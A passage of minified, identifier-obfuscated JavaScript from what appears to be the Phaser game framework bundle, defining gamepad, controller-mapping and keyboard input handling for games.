_0x1e38a4(0x178b6), 'POINTER_DOWN': _0x1e38a4(0xbaa1), 'POINTER_DOWN_OUTSIDE': _0x1e38a4(0x6d35), 'POINTER_MOVE': _0x1e38a4(0x4bf4), 'POINTER_OUT': _0x1e38a4(0xd3eb), 'POINTER_OVER': _0x1e38a4(0x48eb), 'POINTER_UP': _0x1e38a4(0x6a38), 'POINTER_UP_OUTSIDE': _0x1e38a4(0x604c), 'POINTER_WHEEL': _0x1e38a4(0xb04c), 'POINTERLOCK_CHANGE': _0x1e38a4(0xe710), 'PRE_UPDATE': _0x1e38a4(0xade0), 'SHUTDOWN': _0x1e38a4(0x3d8d), 'START': _0x1e38a4(0xa2a5), 'UPDATE': _0x1e38a4(0x16e6a) }; }, 0x17c8d: (_0x26c7fd, _0x32f3bd, _0x47d79f) => { var _0x3939d0 = new (_0x47d79f(0x145db))({ 'initialize': function (_0x402800, _0x2374af) { this['pad'] = _0x402800, this['events'] = _0x402800['events'], this['index'] = _0x2374af, this['value'] = 0x0, this['threshold'] = 0.1; }, 'update': function (_0x50baff) { this['value'] = _0x50baff; }, 'getValue': function () { return Math['abs'](this['value']) < this['threshold'] ? 0x0 : this['value']; }, 'destroy': function () { this['pad'] = null, this['events'] = null; } }); _0x26c7fd['exports'] = _0x3939d0; }, 0x70d4: (_0x5a9b06, _0x33a609, _0x2d9feb) => { var _0x56b213 = _0x2d9feb(0x145db), _0xf9cc98 = _0x2d9feb(0x16a3e), _0x222192 = new _0x56b213({ 'initialize': function (_0x4b7a98, _0x7af99e) { this['pad'] = _0x4b7a98, this['events'] = _0x4b7a98['manager'], this['index'] = _0x7af99e, this['value'] = 0x0, this['threshold'] = 0x1, this['pressed'] = !0x1; }, 'update': function (_0x3f17bc) { this['value'] = _0x3f17bc; var _0x315f9f = this['pad'], _0x2f9eae = this['index']; _0x3f17bc >= this['threshold'] ? this['pressed'] || (this['pressed'] = !0x0, this['events']['emit'](_0xf9cc98['BUTTON_DOWN'], _0x315f9f, this, _0x3f17bc), this['pad']['emit'](_0xf9cc98['GAMEPAD_BUTTON_DOWN'], _0x2f9eae, _0x3f17bc, this)) : this['pressed'] && (this['pressed'] = !0x1, this['events']['emit'](_0xf9cc98['BUTTON_UP'], _0x315f9f, this, _0x3f17bc), this['pad']['emit'](_0xf9cc98['GAMEPAD_BUTTON_UP'], _0x2f9eae, _0x3f17bc, this)); }, 'destroy': function () { this['pad'] = null, this['events'] = null; } }); _0x5a9b06['exports'] = _0x222192; }, 0x18335: (_0x21672c, _0x1cc91e, _0xbfba7a) => { var _0x48b2cf = _0xbfba7a(0x17c8d), _0x26799a = _0xbfba7a(0x70d4), _0x1a0889 = _0xbfba7a(0x145db), _0x158972 = _0xbfba7a(0xc668), _0x291b0e = _0xbfba7a(0x65f3), _0x58608c = new _0x1a0889({ 'Extends': _0x158972, 'initialize': function (_0x53b170, _0x4333b1) { _0x158972['call'](this), this['manager'] = _0x53b170, this['pad'] = _0x4333b1, this['id'] = _0x4333b1['id'], this['index'] = _0x4333b1['index']; for (var _0x493397 = [], _0x21492b = 0x0; _0x21492b < _0x4333b1['buttons']['length']; _0x21492b++)_0x493397['push'](new _0x26799a(this, _0x21492b)); this['buttons'] = _0x493397; var _0x4d72c5 = []; for (_0x21492b = 0x0; _0x21492b < _0x4333b1['axes']['length']; _0x21492b++)_0x4d72c5['push'](new _0x48b2cf(this, _0x21492b)); this['axes'] = _0x4d72c5, this['vibration'] = _0x4333b1['vibrationActuator']; var _0x557dae = { 'value': 0x0, 'pressed': !0x1 }; this['_LCLeft'] = _0x493397[0xe] ? _0x493397[0xe] : _0x557dae, this['_LCRight'] = _0x493397[0xf] ? _0x493397[0xf] : _0x557dae, this['_LCTop'] = _0x493397[0xc] ? _0x493397[0xc] : _0x557dae, this['_LCBottom'] = _0x493397[0xd] ? _0x493397[0xd] : _0x557dae, this['_RCLeft'] = _0x493397[0x2] ? _0x493397[0x2] : _0x557dae, this['_RCRight'] = _0x493397[0x1] ? _0x493397[0x1] : _0x557dae, this['_RCTop'] = _0x493397[0x3] ? _0x493397[0x3] : _0x557dae, this['_RCBottom'] = _0x493397[0x0] ? _0x493397[0x0] : _0x557dae, this['_FBLeftTop'] = _0x493397[0x4] ? _0x493397[0x4] : _0x557dae, this['_FBLeftBottom'] = _0x493397[0x6] ? _0x493397[0x6] : _0x557dae, this['_FBRightTop'] = _0x493397[0x5] ? _0x493397[0x5] : _0x557dae, this['_FBRightBottom'] = _0x493397[0x7] ? _0x493397[0x7] : _0x557dae; var _0x3eb983 = { 'value': 0x0 }; this['_HAxisLeft'] = _0x4d72c5[0x0] ? _0x4d72c5[0x0] : _0x3eb983, this['_VAxisLeft'] = _0x4d72c5[0x1] ? _0x4d72c5[0x1] : _0x3eb983, this['_HAxisRight'] = _0x4d72c5[0x2] ? _0x4d72c5[0x2] : _0x3eb983, this['_VAxisRight'] = _0x4d72c5[0x3] ? _0x4d72c5[0x3] : _0x3eb983, this['leftStick'] = new _0x291b0e(), this['rightStick'] = new _0x291b0e(), this['_created'] = performance['now'](); }, 'getAxisTotal': function () { return this['axes']['length']; }, 'getAxisValue': function (_0x494dc7) { return this['axes'][_0x494dc7]['getValue'](); }, 'setAxisThreshold': function (_0x372054) { for (var _0xb6bda2 = 0x0; _0xb6bda2 < this['axes']['length']; _0xb6bda2++)this['axes'][_0xb6bda2]['threshold'] = _0x372054; }, 'getButtonTotal': function () { return this['buttons']['length']; }, 'getButtonValue': function (_0x43230e) { return this['buttons'][_0x43230e]['value']; }, 'isButtonDown': function (_0x524744) { return this['buttons'][_0x524744]['pressed']; }, 'update': function (_0x156aa1) { if (!(_0x156aa1['timestamp'] < this['_created'])) { var _0x1e60f5, _0x34f59b = this['buttons'], _0x3ed4ec = _0x156aa1['buttons'], _0x3cb987 = _0x34f59b['length']; for (_0x1e60f5 = 0x0; _0x1e60f5 < _0x3cb987; _0x1e60f5++)_0x34f59b[_0x1e60f5]['update'](_0x3ed4ec[_0x1e60f5]['value']); var _0x265f57 = this['axes'], _0x5ab61e = _0x156aa1['axes']; for (_0x3cb987 = _0x265f57['length'], _0x1e60f5 = 0x0; _0x1e60f5 < _0x3cb987; _0x1e60f5++)_0x265f57[_0x1e60f5]['update'](_0x5ab61e[_0x1e60f5]); _0x3cb987 >= 0x2 && (this['leftStick']['set'](_0x265f57[0x0]['getValue'](), _0x265f57[0x1]['getValue']()), _0x3cb987 >= 0x4 && this['rightStick']['set'](_0x265f57[0x2]['getValue'](), _0x265f57[0x3]['getValue']())); } }, 'destroy': function () { var _0xd13c72; for (this['removeAllListeners'](), this['manager'] = null, this['pad'] = null, _0xd13c72 = 0x0; _0xd13c72 < this['buttons']['length']; _0xd13c72++)this['buttons'][_0xd13c72]['destroy'](); for (_0xd13c72 = 0x0; _0xd13c72 < this['axes']['length']; _0xd13c72++)this['axes'][_0xd13c72]['destroy'](); this['buttons'] = [], this['axes'] = []; }, 'connected': { 'get': function () { return this['pad']['connected']; } }, 'timestamp': { 'get': function () { return this['pad']['timestamp']; } }, 'left': { 'get': function () { return this['_LCLeft']['pressed']; } }, 'right': { 'get': function () { return this['_LCRight']['pressed']; } }, 'up': { 'get': function () { return this['_LCTop']['pressed']; } }, 'down': { 'get': function () { return this['_LCBottom']['pressed']; } }, 'A': { 'get': function () { return this['_RCBottom']['pressed']; } }, 'Y': { 'get': function () { return this['_RCTop']['pressed']; } }, 'X': { 'get': function () { return this['_RCLeft']['pressed']; } }, 'B': { 'get': function () { return this['_RCRight']['pressed']; } }, 'L1': { 'get': function () { return this['_FBLeftTop']['value']; } }, 'L2': { 'get': function () { return this['_FBLeftBottom']['value']; } }, 'R1': { 'get': function () { return this['_FBRightTop']['value']; } }, 'R2': { 'get': function () { return this['_FBRightBottom']['value']; } } }); _0x21672c['exports'] = _0x58608c; }, 0xdd4e: (_0x53c523, _0x43926c, _0x79bdfb) => { var _0x6e6b7 = _0x79bdfb(0x145db), _0x5be32e = _0x79bdfb(0xc668), _0x285253 = _0x79bdfb(0x16a3e), _0x16d012 = _0x79bdfb(0x18335), _0x3b0612 = _0x79bdfb(0x8952), _0xe359f0 = _0x79bdfb(0x15e27), _0x228ad7 = _0x79bdfb(0x2016), _0x227bf1 = new _0x6e6b7({ 'Extends': _0x5be32e, 'initialize': function (_0x577ec8) { _0x5be32e['call'](this), this['scene'] = _0x577ec8['scene'], this['settings'] = this['scene']['sys']['settings'], this['sceneInputPlugin'] = _0x577ec8, this['enabled'] = !0x0, this['target'], this['gamepads'] = [], this['queue'] = [], this['onGamepadHandler'], this['_pad1'], this['_pad2'], this['_pad3'], this['_pad4'], _0x577ec8['pluginEvents']['once'](_0x228ad7['BOOT'], this['boot'], this), _0x577ec8['pluginEvents']['on'](_0x228ad7['START'], this['start'], this); }, 'boot': function () { var _0x5ad70d = this['scene']['sys']['game'], _0x498633 = this['settings']['input'], _0x99893c = _0x5ad70d['config']; this['enabled'] = _0x3b0612(_0x498633, 'gamepad', _0x99893c['inputGamepad']) && _0x5ad70d['device']['input']['gamepads'], this['target'] = _0x3b0612(_0x498633, 'gamepad.target', _0x99893c['inputGamepadEventTarget']), this['sceneInputPlugin']['pluginEvents']['once'](_0x228ad7['DESTROY'], this['destroy'], this); }, 'start': function () { this['enabled'] && (this['startListeners'](), this['refreshPads']()), this['sceneInputPlugin']['pluginEvents']['once'](_0x228ad7['SHUTDOWN'], this['shutdown'], this); }, 'isActive': function () { return this['enabled'] && this['scene']['sys']['isActive'](); }, 'startListeners': function () { var _0x526b20 = this, _0x17a941 = this['target'], _0x452588 = function (_0x2ba4c0) { !_0x2ba4c0['defaultPrevented'] && _0x526b20['isActive']() && (_0x526b20['refreshPads'](), _0x526b20['queue']['push'](_0x2ba4c0)); }; this['onGamepadHandler'] = _0x452588, _0x17a941['addEventListener']('gamepadconnected', _0x452588, !0x1), _0x17a941['addEventListener']('gamepaddisconnected', _0x452588, !0x1), this['sceneInputPlugin']['pluginEvents']['on'](_0x228ad7['UPDATE'], this['update'], this); }, 'stopListeners': function () { this['target']['removeEventListener']('gamepadconnected', this['onGamepadHandler']), this['target']['removeEventListener']('gamepaddisconnected', this['onGamepadHandler']), this['sceneInputPlugin']['pluginEvents']['off'](_0x228ad7['UPDATE'], this['update']); for (var _0x2d5ee5 = 0x0; _0x2d5ee5 < this['gamepads']['length']; _0x2d5ee5++)this['gamepads'][_0x2d5ee5]['removeAllListeners'](); }, 'disconnectAll': function () { for (var _0x44dacf = 0x0; _0x44dacf < this['gamepads']['length']; _0x44dacf++)this['gamepads'][_0x44dacf]['pad']['connected'] = !0x1; }, 'refreshPads': function () { var _0x2b2636 = navigator['getGamepads'](); if (_0x2b2636) for (var _0x1ac953 = this['gamepads'], _0x431926 = 0x0; _0x431926 < _0x2b2636['length']; _0x431926++) { var _0xbc6bf3 = _0x2b2636[_0x431926]; if (_0xbc6bf3) { var _0x26d1ba = _0xbc6bf3['id'], _0x19f1ce = _0xbc6bf3['index'], _0x50a8b7 = _0x1ac953[_0x19f1ce]; if (_0x50a8b7) _0x50a8b7['id'] !== _0x26d1ba ? (_0x50a8b7['destroy'](), _0x1ac953[_0x19f1ce] = new _0x16d012(this, _0xbc6bf3)) : _0x50a8b7['update'](_0xbc6bf3); else { var _0x5e6249 = new _0x16d012(this, _0xbc6bf3); _0x1ac953[_0x19f1ce] = _0x5e6249, this['_pad1'] ? this['_pad2'] ? this['_pad3'] ? this['_pad4'] || (this['_pad4'] = _0x5e6249) : this['_pad3'] = _0x5e6249 : this['_pad2'] = _0x5e6249 : this['_pad1'] = _0x5e6249; } } } else this['disconnectAll'](); }, 'getAll': function () { for (var _0x4e99a0 = [], _0x3eb526 = this['gamepads'], _0x109283 = 0x0; _0x109283 < _0x3eb526['length']; _0x109283++)_0x3eb526[_0x109283] && _0x4e99a0['push'](_0x3eb526[_0x109283]); return _0x4e99a0; }, 'getPad': function (_0x46f80e) { for (var _0x446575 = this['gamepads'], _0x4583a1 = 0x0; _0x4583a1 < _0x446575['length']; _0x4583a1++)if (_0x446575[_0x4583a1] && _0x446575[_0x4583a1]['index'] === _0x46f80e) return _0x446575[_0x4583a1]; }, 'update': function () { if (this['enabled']) { this['refreshPads'](); var _0x219ff8 = this['queue']['length']; if (0x0 !== _0x219ff8) for (var _0x679917 = this['queue']['splice'](0x0, _0x219ff8), _0x378b2e = 0x0; _0x378b2e < _0x219ff8; _0x378b2e++) { var _0x5d3b04 = _0x679917[_0x378b2e], _0x479a5a = this['getPad'](_0x5d3b04['gamepad']['index']); 'gamepadconnected' === _0x5d3b04['type'] ? this['emit'](_0x285253['CONNECTED'], _0x479a5a, _0x5d3b04) : 'gamepaddisconnected' === _0x5d3b04['type'] && this['emit'](_0x285253['DISCONNECTED'], _0x479a5a, _0x5d3b04); } } }, 'shutdown': function () { this['stopListeners'](), this['removeAllListeners'](); }, 'destroy': function () { this['shutdown'](); for (var _0x3e0764 = 0x0; _0x3e0764 < this['gamepads']['length']; _0x3e0764++)this['gamepads'][_0x3e0764] && this['gamepads'][_0x3e0764]['destroy'](); this['gamepads'] = [], this['scene'] = null, this['settings'] = null, this['sceneInputPlugin'] = null, this['target'] = null; }, 'total': { 'get': function () { return this['gamepads']['length']; } }, 'pad1': { 'get': function () { return this['_pad1']; } }, 'pad2': { 'get': function () { return this['_pad2']; } }, 'pad3': { 'get': function () { return this['_pad3']; } }, 'pad4': { 'get': function () { return this['_pad4']; } } }); _0xe359f0['register']('GamepadPlugin', _0x227bf1, 'gamepad', 'gamepad', 'inputGamepad'), _0x53c523['exports'] = _0x227bf1; }, 0x15e33: _0x2f0135 => { _0x2f0135['exports'] = { 'UP': 0xc, 'DOWN': 0xd, 'LEFT': 0xe, 'RIGHT': 0xf, 'SELECT': 0x8, 'START': 0x9, 'B': 0x0, 'A': 0x1, 'Y': 0x2, 'X': 0x3, 'LEFT_SHOULDER': 0x4, 'RIGHT_SHOULDER': 0x5 }; }, 0xff0e: _0x15f003 => { _0x15f003['exports'] = { 'UP': 0xc, 'DOWN': 0xd, 'LEFT': 0xe, 'RIGHT': 0xf, 'SHARE': 0x8, 'OPTIONS': 0x9, 'PS': 0x10, 'TOUCHBAR': 0x11, 'X': 0x0, 'CIRCLE': 0x1, 'SQUARE': 0x2, 'TRIANGLE': 0x3, 'L1': 0x4, 'R1': 0x5, 'L2': 0x6, 'R2': 0x7, 'L3': 0xa, 'R3': 0xb, 'LEFT_STICK_H': 0x0, 'LEFT_STICK_V': 0x1, 'RIGHT_STICK_H': 0x2, 'RIGHT_STICK_V': 0x3 }; }, 0x15fe9: _0x542085 => { _0x542085['exports'] = { 'UP': 0xc, 'DOWN': 0xd, 'LEFT': 0xe, 'RIGHT': 0xf, 'MENU': 0x10, 'A': 0x0, 'B': 0x1, 'X': 0x2, 'Y': 0x3, 'LB': 0x4, 'RB': 0x5, 'LT': 0x6, 'RT': 0x7, 'BACK': 0x8, 'START': 0x9, 'LS': 0xa, 'RS': 0xb, 'LEFT_STICK_H': 0x0, 'LEFT_STICK_V': 0x1, 'RIGHT_STICK_H': 0x2, 'RIGHT_STICK_V': 0x3 }; }, 0xfd7e: (_0x1afed1, _0x1ce6b9, _0x26cf9d) => { _0x1afed1['exports'] = { 'DUALSHOCK_4': _0x26cf9d(0xff0e), 'SNES_USB': _0x26cf9d(0x15e33), 'XBOX_360': _0x26cf9d(0x15fe9) }; }, 0xb3b8: _0x22d6e5 => { _0x22d6e5['exports'] = 'down'; }, 0x1dcd: _0x425562 => { _0x425562['exports'] = 'up'; }, 0xa4de: _0x11bcaa => { _0x11bcaa['exports'] = 'connected'; }, 0x15210: _0x303703 => { _0x303703['exports'] = 'disconnected'; }, 0x17240: _0x2b95dc => { _0x2b95dc['exports'] = 'down'; }, 0x37f5: _0x91552f => { _0x91552f['exports'] = 'up'; }, 0x16a3e: (_0x335c4c, _0x31eef5, _0x5434d4) => { _0x335c4c['exports'] = { 'BUTTON_DOWN': _0x5434d4(0xb3b8), 'BUTTON_UP': _0x5434d4(0x1dcd), 'CONNECTED': _0x5434d4(0xa4de), 'DISCONNECTED': _0x5434d4(0x15210), 'GAMEPAD_BUTTON_DOWN': _0x5434d4(0x17240), 'GAMEPAD_BUTTON_UP': _0x5434d4(0x37f5) }; }, 0xbe06: (_0x1e42ac, _0x32cadb, _0x12c86f) => { _0x1e42ac['exports'] = { 'Axis': _0x12c86f(0x17c8d), 'Button': _0x12c86f(0x70d4), 'Events': _0x12c86f(0x16a3e), 'Gamepad': _0x12c86f(0x18335), 'GamepadPlugin': _0x12c86f(0xdd4e), 'Configs': _0x12c86f(0xfd7e) }; }, 0x380e: (_0xe27162, _0x1c1e90, _0x3d869b) => { var _0x2475dc = _0x3d869b(0x16c75), _0x3d8e45 = _0x3d869b(0x135bb), _0x322e13 = { 'CreatePixelPerfectHandler': _0x3d869b(0x149b9), 'CreateInteractiveObject': _0x3d869b(0x122d9), 'Events': _0x3d869b(0x2016), 'Gamepad': _0x3d869b(0xbe06), 'InputManager': _0x3d869b(0x1b5b), 'InputPlugin': _0x3d869b(0xbc4d), 'InputPluginCache': _0x3d869b(0x15e27), 'Keyboard': _0x3d869b(0xc8f2), 'Mouse': _0x3d869b(0x15426), 'Pointer': _0x3d869b(0xa613), 'Touch': _0x3d869b(0x17582) }; _0x322e13 = _0x3d8e45(!0x1, _0x322e13, _0x2475dc), _0xe27162['exports'] = _0x322e13; }, 0x1347a: (_0x1aea35, _0x58bf13, _0x2692ca) => { var _0x4ca7b7 = _0x2692ca(0x11cc9), _0xeced7e = _0x2692ca(0x145db), _0x38bf96 = _0x2692ca(0x20fb), _0x4e4428 = _0x2692ca(0x2016), _0x22e8a7 = _0x2692ca(0xb3d0), _0x2f1759 = _0x2692ca(0x7433), _0x4f05cb = new _0xeced7e({ 'initialize': function (_0x3c0c81) { this['manager'] = _0x3c0c81, this['queue'] = [], this['preventDefault'] = !0x0, this['captures'] = [], this['enabled'] = !0x1, this['target'], this['onKeyDown'] = _0x2f1759, this['onKeyUp'] = _0x2f1759, _0x3c0c81['events']['once'](_0x4e4428['MANAGER_BOOT'], this['boot'], this); }, 'boot': function () { var _0x2f0463 = this['manager']['config']; this['enabled'] = _0x2f0463['inputKeyboard'], this['target'] = _0x2f0463['inputKeyboardEventTarget'], this['addCapture'](_0x2f0463['inputKeyboardCapture']), !this['target'] && window && (this['target'] = window), this['enabled'] && this['target'] && this['startListeners'](), this['manager']['game']['events']['on'](_0x38bf96['POST_STEP'], this['postUpdate'], this); }, 'startListeners': function () { var _0x4739e1 = this; this['onKeyDown'] = function (_0x5dc2bf) { if (!_0x5dc2bf['defaultPrevented'] && _0x4739e1['enabled'] && _0x4739e1['manager']) { _0x4739e1['queue']['push'](_0x5dc2bf), _0x4739e1['manager']['events']['emit'](_0x4e4428['MANAGER_PROCESS']); var _0x2f69f8 = _0x5dc2bf['altKey'] || _0x5dc2bf['ctrlKey'] || _0x5dc2bf['shiftKey'] || _0x5dc2bf['metaKey']; _0x4739e1['preventDefault'] && !_0x2f69f8 && _0x4739e1['captures']['indexOf'](_0x5dc2bf['keyCode']) > -0x1 && _0x5dc2bf['preventDefault'](); } }, this['onKeyUp'] = function (_0x599603) { if (!_0x599603['defaultPrevented'] && _0x4739e1['enabled'] && _0x4739e1['manager']) { _0x4739e1['queue']['push'](_0x599603), _0x4739e1['manager']['events']['emit'](_0x4e4428['MANAGER_PROCESS']); var _0x2212a4 = _0x599603['altKey'] || _0x599603['ctrlKey'] || _0x599603['shiftKey'] || _0x599603['metaKey']; _0x4739e1['preventDefault'] && !_0x2212a4 && _0x4739e1['captures']['indexOf'](_0x599603['keyCode']) > -0x1 && _0x599603['preventDefault'](); } }; var _0x379193 = this['target']; _0x379193 && (_0x379193['addEventListener']('keydown', this['onKeyDown'], !0x1), _0x379193['addEventListener']('keyup', this['onKeyUp'], !0x1), this['enabled'] = !0x0); }, 'stopListeners': function () { var _0x2d6c8b = this['target']; _0x2d6c8b['removeEventListener']('keydown', this['onKeyDown'], !0x1), _0x2d6c8b['removeEventListener']('keyup', this['onKeyUp'], !0x1), this['enabled'] = !0x1; }, 'postUpdate': function () { this['queue'] = []; }, 'addCapture': function (_0x59fc21) { 'string' == typeof _0x59fc21 && (_0x59fc21 = _0x59fc21['split'](',')), Array['isArray'](_0x59fc21) || (_0x59fc21 = [_0x59fc21]); for (var _0x7d1645 = this['captures'], _0x1d8f5f = 0x0; _0x1d8f5f < _0x59fc21['length']; _0x1d8f5f++) { var _0x2d338b = _0x59fc21[_0x1d8f5f]; 'string' == typeof _0x2d338b && (_0x2d338b = _0x22e8a7[_0x2d338b['trim']()['toUpperCase']()]), -0x1 === _0x7d1645['indexOf'](_0x2d338b) && _0x7d1645['push'](_0x2d338b); } this['preventDefault'] = _0x7d1645['length'] > 0x0; }, 'removeCapture': function (_0x1ea359) { 'string' == typeof _0x1ea359 && (_0x1ea359 = _0x1ea359['split'](',')), Array['isArray'](_0x1ea359) || (_0x1ea359 = [_0x1ea359]); for (var _0x377edb = this['captures'], _0x792d9b = 0x0; _0x792d9b < _0x1ea359['length']; _0x792d9b++) { var _0x1cc4f2 = _0x1ea359[_0x792d9b]; 'string' == typeof _0x1cc4f2 && (_0x1cc4f2 = _0x22e8a7[_0x1cc4f2['toUpperCase']()]), _0x4ca7b7(_0x377edb, _0x1cc4f2); } this['preventDefault'] = _0x377edb['length'] > 0x0; }, 'clearCaptures': function () { this['captures'] = [], this['preventDefault'] = !0x1; }, 'destroy': function () { this['stopListeners'](), this['clearCaptures'](), this['queue'] = [], this['manager']['game']['events']['off'](_0x38bf96['POST_RENDER'], this['postUpdate'], this), this['target'] = null, this['enabled'] = !0x1, this['manager'] = null; } }); _0x1aea35['exports'] = _0x4f05cb; }, 0x70ae: (_0x28777a, _0x4a97fb, _0x3b7e08) => { var _0x370817 = _0x3b7e08(0x145db), _0x182ce0 = _0x3b7e08(0xc668), _0x403758 = _0x3b7e08(0x176b2), _0x2e97df = _0x3b7e08(0x20fb), _0x63619f = _0x3b7e08(0x8952), _0x3513a3 = _0x3b7e08(0x2016), _0x2d1bad = _0x3b7e08(0x15e27), _0x174d7e = _0x3b7e08(0x7708), _0x12b012 = _0x3b7e08(0xb3d0), _0x20b924 = _0x3b7e08(0x15798), _0x36024f = _0x3b7e08(0x12368), _0x266956 = _0x3b7e08(0xae32), _0x2a7024 = _0x3b7e08(0xdd07), _0x4382b3 = new _0x370817({ 'Extends': _0x182ce0, 'initialize': function (_0x36d1b9) { _0x182ce0['call'](this), this['game'] = _0x36d1b9['systems']['game'], this['scene'] = _0x36d1b9['scene'], this['settings'] = this['scene']['sys']['settings'], this['sceneInputPlugin'] = _0x36d1b9, this['manager'] = _0x36d1b9['manager']['keyboard'], this['enabled'] = !0x0, this['keys'] = [], this['combos'] = [], this['prevCode'] = null, this['prevTime'] = 0x0, this['prevType'] = null, _0x36d1b9['pluginEvents']['once'](_0x3513a3['BOOT'], this['boot'], this), _0x36d1b9['pluginEvents']['on'](_0x3513a3['START'], this['start'], this); }, 'boot': function () { var _0x4f3f71 = this['settings']['input']; this['enabled'] = _0x63619f(_0x4f3f71, 'keyboard', !0x0); var _0x5d6a88 = _0x63619f(_0x4f3f71, 'keyboard.capture', null); _0x5d6a88 && this['addCaptures'](_0x5d6a88), this['sceneInputPlugin']['pluginEvents']['once'](_0x3513a3['DESTROY'], this['destroy'], this); }, 'start': function () { this['sceneInputPlugin']['manager']['events']['on'](_0x3513a3['MANAGER_PROCESS'], this['update'], this), this['sceneInputPlugin']['pluginEvents']['once'](_0x3513a3['SHUTDOWN'], this['shutdown'], this), this['game']['events']['on'](_0x2e97df['BLUR'], this['resetKeys'], this), this['scene']['sys']['events']['on'](_0x266956['PAUSE'], this['resetKeys'], this), this['scene']['sys']['events']['on'](_0x266956['SLEEP'], this['resetKeys'], this); }, 'isActive': function () { return this['enabled'] && this['scene']['sys']['canInput'](); }, 'addCapture': function (_0x208cb1) { return this['manager']['addCapture'](_0x208cb1), this; }, 'removeCapture': function (_0xef7773) { return this['manager']['removeCapture'](_0xef7773), this; }, 'getCaptures': function () { return this['manager']['captures']; }, 'enableGlobalCapture': function () { return this['manager']['preventDefault'] = !0x0, this; }, 'disableGlobalCapture': function () { return this['manager']['preventDefault'] = !0x1, this; }, 'clearCaptures': function () { return this['manager']['clearCaptures'](), this; }, 'createCursorKeys': function () { return this['addKeys']({ 'up': _0x12b012['UP'], 'down': _0x12b012['DOWN'], 'left': _0x12b012['LEFT'], 'right': _0x12b012['RIGHT'], 'space': _0x12b012['SPACE'], 'shift': _0x12b012['SHIFT'] }); }, 'addKeys': function (_0x3bc65f, _0x3968f7, _0x56748a) { void 0x0 === _0x3968f7 && (_0x3968f7 = !0x0), void 0x0 === _0x56748a && (_0x56748a = !0x1); var _0x25879b = {}; if ('string' == typeof _0x3bc65f) { _0x3bc65f = _0x3bc65f['split'](','); for (var _0x46ceab = 0x0; _0x46ceab < _0x3bc65f['length']; _0x46ceab++) { var _0x49a95e = _0x3bc65f[_0x46ceab]['trim'](); _0x49a95e && (_0x25879b[_0x49a95e] = this['addKey'](_0x49a95e, _0x3968f7, _0x56748a)); } } else { for (var _0x36cb12 in _0x3bc65f) _0x25879b[_0x36cb12] = this['addKey'](_0x3bc65f[_0x36cb12], _0x3968f7, _0x56748a); } return _0x25879b; }, 'addKey': function (_0x2d8908, _0x5f06e7, _0x59a7e7) { void 0x0 === _0x5f06e7 && (_0x5f06e7 = !0x0), void 0x0 === _0x59a7e7 && (_0x59a7e7 = !0x1); var _0x53ea49 = this['keys']; if (_0x2d8908 instanceof _0x174d7e) { var _0x1a0ad6 = _0x53ea49['indexOf'](_0x2d8908); return _0x1a0ad6 > -0x1 ? _0x53ea49[_0x1a0ad6] = _0x2d8908 : _0x53ea49[_0x2d8908['keyCode']] = _0x2d8908, _0x5f06e7 && this['addCapture'](_0x2d8908['keyCode']), _0x2d8908['setEmitOnRepeat'](_0x59a7e7), _0x2d8908; } return 'string' == typeof _0x2d8908 && (_0x2d8908 = _0x12b012[_0x2d8908['toUpperCase']()]), _0x53ea49[_0x2d8908] || (_0x53ea49[_0x2d8908] = new _0x174d7e(this, _0x2d8908), _0x5f06e7 && this['addCapture'](_0x2d8908), _0x53ea49[_0x2d8908]['setEmitOnRepeat'](_0x59a7e7)), _0x53ea49[_0x2d8908]; }, 'removeKey': function (_0x387e72, _0x1fd41c, _0xed7050) { void 0x0 === _0x1fd41c && (_0x1fd41c = !0x1), void 0x0 === _0xed7050 && (_0xed7050 = !0x1); var _0x1065e5, _0x2831dc = this['keys']; if (_0x387e72 instanceof _0x174d7e) { var _0x4f0fa2 = _0x2831dc['indexOf'](_0x387e72); _0x4f0fa2 > -0x1 && (_0x1065e5 = this['keys'][_0x4f0fa2], this['keys'][_0x4f0fa2] = void 0x0); } else 'string' == typeof _0x387e72 && (_0x387e72 = _0x12b012[_0x387e72['toUpperCase']()]); return _0x2831dc[_0x387e72] && (_0x1065e5 = _0x2831dc[_0x387e72], _0x2831dc[_0x387e72] = void 0x0), _0x1065e5 && (_0x1065e5['plugin'] = null, _0xed7050 && this['removeCapture'](_0x1065e5['keyCode']), _0x1fd41c && _0x1065e5['destroy']()), this; }, 'removeAllKeys': function (_0xa49722, _0x4f55a7) { void 0x0 === _0xa49722 && (_0xa49722 = !0x1), void 0x0 === _0x4f55a7 && (_0x4f55a7 = !0x1); for (var _0x5c84cf = this['keys'], _0x22e9d1 = 0x0; _0x22e9d1 < _0x5c84cf['length']; _0x22e9d1++) { var _0x18923e = _0x5c84cf[_0x22e9d1]; _0x18923e && (_0x5c84cf[_0x22e9d1] = void 0x0, _0x4f55a7 && this['removeCapture'](_0x18923e['keyCode']), _0xa49722 && _0x18923e['destroy']()); } return this; }, 'createCombo': function (_0x293fe0, _0x20debd) { return new _0x20b924(this, _0x293fe0, _0x20debd); }, 'checkDown': function (_0x244121, _0x8071ab) { if (void 0x0 === _0x8071ab && (_0x8071ab = 0x0), this['enabled'] && _0x244121['isDown']) { var _0x3ed3a8 = _0x2a7024(this['time'] - _0x244121['timeDown'], _0x8071ab); if (_0x3ed3a8 > _0x244121['_tick']) return _0x244121['_tick'] = _0x3ed3a8, !0x0; } return !0x1; }, 'update': function () { var _0x4c0c7e = this['manager']['queue'], _0x30138a = _0x4c0c7e['length']; if (this['isActive']() && 0x0 !== _0x30138a) for (var _0x2310d8 = this['keys'], _0x232b96 = 0x0; _0x232b96 < _0x30138a; _0x232b96++) { var _0x45d554 = _0x4c0c7e[_0x232b96], _0x12d53c = _0x45d554['keyCode'], _0xc9a085 = _0x2310d8[_0x12d53c], _0x453943 = !0x1; void 0x0 === _0x45d554['cancelled'] && (_0x45d554['cancelled'] = 0x0, _0x45d554['stopImmediatePropagation'] = function () { _0x45d554['cancelled'] = 0x1; }, _0x45d554['stopPropagation'] = function () { _0x45d554['cancelled'] = -0x1; }), -0x1 !== _0x45d554['cancelled'] && (_0x12d53c === this['prevCode'] && _0x45d554['timeStamp'] === this['prevTime'] && _0x45d554['type'] === this['prevType'] || (this['prevCode'] = _0x12d53c, this['prevTime'] = _0x45d554['timeStamp'], this['prevType'] = _0x45d554['type'], 'keydown' === _0x45d554['type'] ? (_0xc9a085 && (_0x453943 = _0xc9a085['isDown'], _0xc9a085['onDown'](_0x45d554)), _0x45d554['cancelled'] || _0xc9a085 && _0x453943 || (_0x36024f[_0x12d53c] && this['emit'](_0x403758['KEY_DOWN'] + _0x36024f[_0x12d53c], _0x45d554), _0x45d554['cancelled'] || this['emit'](_0x403758['ANY_KEY_DOWN'], _0x45d554))) : (_0xc9a085 && _0xc9a085['onUp'](_0x45d554), _0x45d554['cancelled'] || 